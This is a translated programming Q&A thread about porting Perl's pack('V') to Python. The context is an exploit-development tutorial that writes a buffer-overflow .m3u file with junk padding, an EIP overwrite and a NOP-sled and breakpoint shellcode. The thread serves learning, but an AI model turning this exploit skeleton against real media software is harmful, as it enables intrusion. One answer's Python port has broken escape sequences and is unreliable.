Python中的Perl的Pack('V')函数?

10 投票
5 回答
7549 浏览
提问于 2025-04-16 19:47

最近我在准备一个培训课程,做一些漏洞开发的工作,但在跟着一个教程的时候遇到了问题。我一直在找各种教程,虽然它们用的是其他语言,但我更喜欢用Python。我想把所有的代码都转换过来,但我就是搞不懂Perl的Pack()函数该怎么用Python来实现。

简单来说: 我想把这个转换成Python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了Python的struct.pack()函数,但当我使用

Fuzzed.write(struct.pack('V', 0x773D10A4))

的时候,程序就停止了,根本不工作。我到底哪里出错了?

这是我所有的源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

5 个回答

2

我已经把它翻译成了Python,并且我也尝试过做MP3转换器。这里是你的答案:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
8

Python中的struct.pack函数用第一个字符来表示字节顺序和大小的变化,然后用一个或多个字符来表示数据类型。比如,Perl中的V代表的是32位无符号整数,并且是小端字节序。

在Python中,类似的写法是struct.pack('<I', 0x773D10A4)

11

试着用 "L<" 这个打包模板,别用 "V"。这样在 Perl 和 Python 中都能用。NV 是 Perl 里比较老的方式来指定字节序,而 <> 是更新的方式。看起来 Python 在借用 Perl 的 pack 功能时,只选择了更新、更灵活的接口。

补充:Python 要求 < 放在类型说明符前面,而 Perl 则要求放在后面。这就有点不兼容了 :(

撰写回答